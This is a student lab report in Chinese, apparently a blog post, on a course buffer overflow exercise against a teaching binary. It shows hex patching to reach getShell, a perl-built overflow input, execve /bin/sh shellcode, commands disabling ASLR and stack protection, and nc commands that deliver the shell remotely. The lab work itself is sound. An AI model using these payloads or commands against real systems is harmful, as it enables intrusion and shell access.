20202422 2022-2023-2 《网络与系统攻防技术》实验一实验报告

1.实验内容

对一个名为pwn1的Linux可执行文件进行一些操作,实现如下:
1.手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
2.利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
3.注入一个自己制作的shellcode并运行这段shellcode。
本实验要求掌握基础汇编指令的机器码,学习运用反汇编技术与十六进制编程器,掌握如何修改机器指令从而改变程序执行流程,正确构造playload进行BOF攻击。
必备基础知识总结如下!!!
图1 常见寄存器和汇指令概念

图1 常见寄存器和汇指令概念

在这里插入图片描述

图2 函数执行时堆栈部分结构

2.实验过程

(一)手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
1.首先通过objdump反汇编查看pwn文件中函数的地址

在这里插入图片描述

图3 反汇编部分结果

按照正常流程,执行call那一句指令的时候,EIP(下一条)的值应该是下条指令的地址,即80484ba,但解释e8这条指令时,CPU就会转而跳转到 “EIP + d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值,也就是foo函数的起始地址。
我们的目的是使函数跳转执行getShell函数,也就是跳转到该函数的始址804847d处,47d-4ba得到c3ffffff,也就是将之前的d7改为c3。
2.修改。我的虚拟机没有定义16进制查看的指令,所以我采用wxHexEditor来修改。如下图:

在这里插入图片描述

图4 使用wxHexEditor替换字符串

3.执行。执行改动过的pwnCOPY文件,发现完成了跳转到getShell的功能。

在这里插入图片描述

图5 手动修改成功

(二)BOF攻击
1.确认输入字符串哪些部分会覆盖返回值。
参考图2的函数执行时堆栈部分结构,可以得知栈结构给输入字符分配28字节空间,EBP分配4字节空间,从33开始就是ESP的空间,也是4字节,所以输入的第33到36字节空间为覆盖ESP的内存区间。由ASCLL编码得知,每一个字符占1字节空间,那么我们输入的33到36字符将覆盖ESP的内存区间。
为了验证上述理论分析,我运行pwn20202422来验证是否正确。

在这里插入图片描述

图6 验证缓冲区覆盖区域

我们输入的第33到36位是1234,对应ASCLL码的31 32 33 34,计算机内部的小端模式是34333231,刚好是上图中ESP寄存器中的值。
2.解决转换问题
“\x7d\x84\x04\x08”键盘无法输入,需要利用perl语言构造一个输入文件:
perl -e ‘print “11111111222222223333333344444444\x7d\x84\x04\x08\x0a”’ > input
这样就会形成一个input文件。可以使用16进制指令xxd input查看input文件内容是否符合预期。最终结果成功:

在这里插入图片描述

图7 BOF结果

(三)构造shellcode攻击
1.攻击前的准备:
(1)设置堆栈可执行。堆栈不可执行作为一种堆栈的保护机制,是专门为防止shellcode攻击而设定的默认开启的机制。我们做实验是为了模拟理想状态下的shellcode攻击,所以要设置堆栈为可执行。具体来说,命令是:execstack -s pwn20202422
(2)关闭地址随机化。地址空间布局随机化(Address-Space Layout Randomization),简称ASLR。采用ASLR,每次程序运行时,程序的不同部分包括库代码、栈和堆,都会被加载到内存的不同区域。
ASLR的原理是程序开始时,在stack、mmap以及堆区处分配随机大小的空间,见下图中Random stack/mmap/brk offset区域:

在这里插入图片描述

图8 32位程序Linux系统内存布局

程序不使用这段空间。但它会导致程序每次执行时后续的栈位置发生变化。ASLR的目的是将程序的堆栈地址和动态链接库的加载地址进行一定的随机化。这样,即使攻击者部署了shellcode并可以控制跳转,由于shellcode所在地址未知,依然很难执行shellcode。
在Linux系统中,ASLR的设置在:"/proc/sys/kernel/randomize_va_space"文件中,有3个可选值,默认为2:
0:关闭ASLR
1:mmap base、栈、VDSO page被随机化
2:在1的基础上,随机化堆(heap)
此处我们关闭地址随机化的命令是:


echo "0" > /proc/sys/kernel/randomize_va_space

2.第一次尝试
我按照实验指导书进行第一次尝试,尽管是错误的,但是经过分析仍然能得出很多关键的经验。
我们采用nops+shellcode+retaddr的结构,让返回地址落在任何一个nop区域,就可以滑行到shellcode代码区。由于不知道返回地址,所以我们必须先做一些尝试。假设返回地址是\x4\x3\x2\x1,构造shellcode如下:


perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shell

打开一个终端注入攻击buf,并打开另一个终端调试程序,分析内存。
在分析终端中使用gdb跟踪另一个终端的进程,通过反汇编确定断电的位置,应该是foo函数返回地址。继续执行,到断点处停下来分析栈顶指针ESP的值。过程如下图:

在这里插入图片描述

图9 第一次的系列操作(主要是分析ESP)

根据上述的shellcode结构,ESP中应该存放正确的返回地址,该地址能引导向nop滑行区,即上图中90909090部分,对应的地址可以是ffffd020。于是乎将返回地址设为0xffffd020。

但是运行发现并没有触发shell指令,于是再来一次,单步调试看看哪里有问题。经过调试发现,是有一个push指令,将堆栈上的代码覆盖了,所以ESP也变化了值,所以不能触发shell。
3.第二次尝试。
修改结构为anything+retaddr+nops+shellcode。这次先是anything部分,接着是返回地址,再是滑行区,最后才是shellcode。根据图9对ESP值的分析,加上取消地址随机化的操作,可以判断返回地址的值应该指向存放返回地址位置的后面,在图9的情况中应是0xffffd040。由此构造shellcode,构造+运行如下:

在这里插入图片描述

图10 最终成功的截图

(四)结合nc模拟远程攻击
1.打开另一台linux系统虚拟机,尝试两台机器可以ping通。
2.通过WinSCP将pwn20202422文件拖到主机1中,输入命令行 开启监听:


nc -l 192.168.70.128 -p 28234  -e ./pwn20202422

3.在攻击机上输入:

(cat input_shellcode; cat) | nc 192.168.70.128 28234


最终遇到很多问题,尝试关闭主机1的防火墙,清除所有iptables等等,最后提示:

在这里插入图片描述

图11 nc失败结果

目前还没有解决这个问题。以后会查找资料,尝试更多可能的解决方案。有无大佬也可以给我留言指导一下,感谢。

3.问题及解决方案

1.虚拟机不能以16进制查看。
解决:下载wxHexEditor,直接查找、替换字符。
2.不知道BOF攻击哪个字符区间会覆盖到EIP。
解决:上网查资料,画出了函数的堆栈结构。详情请看图2的结构图,和BOF攻击部分的分析。
3.shellcode实验无法触发shellcode。
解决:重新开始检查每个细节,发现是忘记了关闭地址随机化,导致堆栈结构在随机变化,防止代码遭受shellcode注入攻击,所以无法完成实验。关闭地址随机化后,解决了问题。
4.nc远程连接提示no route to host。
解决:可能有很多原因,我尝试清空iptable,关闭主机1(靶机)的防火墙,解决了这个问题。
5.nc远程连接提示connection refused。
这个问题还未解决,今后会请教同学们、查资料解决。

4.学习感悟、思考等

感悟和思考:
本次实验任务量大、难度比较大。我首先学习、整理了关于寄存器、堆栈、汇编指令的基础知识,然后开始着手做实验。因为接触到全新的体系,所以很多操作不熟悉,我会查阅资料并且一遍一遍地重复做,直到把整个过程理顺。经过本次实验我收获颇丰,主要体现在:
对linux操作系统的命令操作的理解更深入。
对寄存器、汇编指令、堆栈结构等概念掌握。
对三种攻击的原理、思想由有一定理解。
但是本次实验还是在理想条件下完成的,比如关闭地址随机化、设置堆栈可执行。这些都是很成熟的保护堆栈的机制,一般情况下都是默认打开以保护系统。试想在地址随机化状态下,利用shellcode攻击将更加困难,需要对随机化机制有很深的理解,甚至本身就是无法通过shellcode攻击的。所以网络攻防还需要更加深入地理解原理,更加勤奋地参与实战。

参考资料

https://blog.csdn.net/najdhdfh/article/details/109202138
https://www.jianshu.com/p/781341c47676
https://blog.csdn.net/wulitaotao96/article/details/115200708
https://blog.csdn.net/najdhdfh/article/details/109202138
https://gitee.com/wildlinux/NetSec/blob/master/ExpGuides/0x11_MAL_%E9%80%86%E5%90%91%E4%B8%8EBof%E5%9F%BA%E7%A1%80.md#https://gitee.com/link?target=http%3A%2F%2Fwww.cnblogs.com%2Fxxy745214935%2Fp%2F6477120.html

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值